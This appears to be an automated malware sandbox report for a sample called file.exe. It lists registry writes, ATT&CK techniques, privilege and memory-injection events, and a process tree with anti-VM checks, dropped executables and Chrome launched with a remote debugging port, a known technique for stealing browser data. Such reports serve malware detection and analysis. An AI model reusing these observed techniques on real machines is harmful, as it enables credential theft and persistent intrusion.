Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	uxN4wDZ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	uxN4wDZ.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	20e4c5b9ea.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	20e4c5b9ea.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2540	ping.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2052	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2900	SystemCare1.0.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
2740	file.exe
2740	file.exe
2740	file.exe
2732	chrome.exe
2732	chrome.exe
2740	file.exe
2740	file.exe
2804	chrome.exe
2804	chrome.exe
2740	file.exe
2740	file.exe
1264	BFCFBFBFBK.exe
2660	skotes.exe
2860	nbea1t8.exe
552	9abca7001d.exe
552	9abca7001d.exe
552	9abca7001d.exe
552	9abca7001d.exe
552	9abca7001d.exe
552	9abca7001d.exe
2736	89d16827fb.exe
2736	89d16827fb.exe
2736	89d16827fb.exe
2736	89d16827fb.exe
2736	89d16827fb.exe
2736	89d16827fb.exe
3048	msiexec.exe
3048	msiexec.exe
1496	756f086b0f.exe
288	powershell.exe
2900	SystemCare1.0.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1372	powershell.exe
2280	20e4c5b9ea.exe
2904	0ff245091b.exe
1736	abed1c0233.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2732	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeShutdownPrivilege	2804	chrome.exe
Token: SeRestorePrivilege	3048	msiexec.exe
Token: SeTakeOwnershipPrivilege	3048	msiexec.exe
Token: SeSecurityPrivilege	3048	msiexec.exe
Token: SeCreateTokenPrivilege	880	TcMBq5M.exe
Token: SeAssignPrimaryTokenPrivilege	880	TcMBq5M.exe
Token: SeLockMemoryPrivilege	880	TcMBq5M.exe
Token: SeIncreaseQuotaPrivilege	880	TcMBq5M.exe
Token: SeMachineAccountPrivilege	880	TcMBq5M.exe
Token: SeTcbPrivilege	880	TcMBq5M.exe
Token: SeSecurityPrivilege	880	TcMBq5M.exe
Token: SeTakeOwnershipPrivilege	880	TcMBq5M.exe
Token: SeLoadDriverPrivilege	880	TcMBq5M.exe
Token: SeSystemProfilePrivilege	880	TcMBq5M.exe
Token: SeSystemtimePrivilege	880	TcMBq5M.exe
Token: SeProfSingleProcessPrivilege	880	TcMBq5M.exe
Token: SeIncBasePriorityPrivilege	880	TcMBq5M.exe
Token: SeCreatePagefilePrivilege	880	TcMBq5M.exe
Token: SeCreatePermanentPrivilege	880	TcMBq5M.exe
Token: SeBackupPrivilege	880	TcMBq5M.exe
Token: SeRestorePrivilege	880	TcMBq5M.exe
Token: SeShutdownPrivilege	880	TcMBq5M.exe
Token: SeDebugPrivilege	880	TcMBq5M.exe
Token: SeAuditPrivilege	880	TcMBq5M.exe
Token: SeSystemEnvironmentPrivilege	880	TcMBq5M.exe
Token: SeChangeNotifyPrivilege	880	TcMBq5M.exe
Token: SeRemoteShutdownPrivilege	880	TcMBq5M.exe
Token: SeUndockPrivilege	880	TcMBq5M.exe
Token: SeSyncAgentPrivilege	880	TcMBq5M.exe
Token: SeEnableDelegationPrivilege	880	TcMBq5M.exe
Token: SeManageVolumePrivilege	880	TcMBq5M.exe
Token: SeImpersonatePrivilege	880	TcMBq5M.exe
Token: SeCreateGlobalPrivilege	880	TcMBq5M.exe
Token: SeCreateTokenPrivilege	880	TcMBq5M.exe
Token: SeAssignPrimaryTokenPrivilege	880	TcMBq5M.exe
Token: SeLockMemoryPrivilege	880	TcMBq5M.exe
Token: SeIncreaseQuotaPrivilege	880	TcMBq5M.exe
Token: SeMachineAccountPrivilege	880	TcMBq5M.exe
Token: SeTcbPrivilege	880	TcMBq5M.exe
Token: SeSecurityPrivilege	880	TcMBq5M.exe
Token: SeTakeOwnershipPrivilege	880	TcMBq5M.exe
Token: SeLoadDriverPrivilege	880	TcMBq5M.exe
Token: SeSystemProfilePrivilege	880	TcMBq5M.exe

Suspicious use of FindShellTrayWindow 17 IoCs

pid	Process
2732	chrome.exe
2804	chrome.exe
1264	BFCFBFBFBK.exe
880	TcMBq5M.exe
2392	msiexec.exe
2392	msiexec.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
2468	firefox.exe
2468	firefox.exe
2468	firefox.exe
1736	abed1c0233.exe
2468	firefox.exe

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
1736	abed1c0233.exe
2468	firefox.exe
2468	firefox.exe
1736	abed1c0233.exe
2468	firefox.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2732	2740	file.exe	30
PID 2740 wrote to memory of 2732	2740	file.exe	30
PID 2740 wrote to memory of 2732	2740	file.exe	30
PID 2740 wrote to memory of 2732	2740	file.exe	30
PID 2732 wrote to memory of 2612	2732	chrome.exe	31
PID 2732 wrote to memory of 2612	2732	chrome.exe	31
PID 2732 wrote to memory of 2612	2732	chrome.exe	31
PID 2732 wrote to memory of 2616	2732	chrome.exe	33
PID 2732 wrote to memory of 2616	2732	chrome.exe	33
PID 2732 wrote to memory of 2616	2732	chrome.exe	33
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 1516	2732	chrome.exe	35
PID 2732 wrote to memory of 2892	2732	chrome.exe	36
PID 2732 wrote to memory of 2892	2732	chrome.exe	36
PID 2732 wrote to memory of 2892	2732	chrome.exe	36
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37
PID 2732 wrote to memory of 1460	2732	chrome.exe	37

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7d39758,0x7fef7d39768,0x7fef7d39778
    3⤵
    PID:2612
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:2
    3⤵
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:8
    3⤵
    PID:2892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:8
    3⤵
    PID:1460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2184 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2444 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2452 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1156 --field-trial-handle=1228,i,11531885513520082573,13806524299741879908,131072 /prefetch:2
    3⤵
    PID:2060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7be9758,0x7fef7be9768,0x7fef7be9778
    3⤵
    PID:2548
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1100 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:2
    3⤵
    PID:1012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:8
    3⤵
    PID:1380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:8
    3⤵
    PID:2100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2408 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2724 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2800 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1516 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:2
    3⤵
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3772 --field-trial-handle=1280,i,8106014820061241407,3404800279285439248,131072 /prefetch:8
    3⤵
    PID:1536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\Documents\BFCFBFBFBK.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1564
- - C:\Users\Admin\Documents\BFCFBFBFBK.exe
    "C:\Users\Admin\Documents\BFCFBFBFBK.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:1264
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
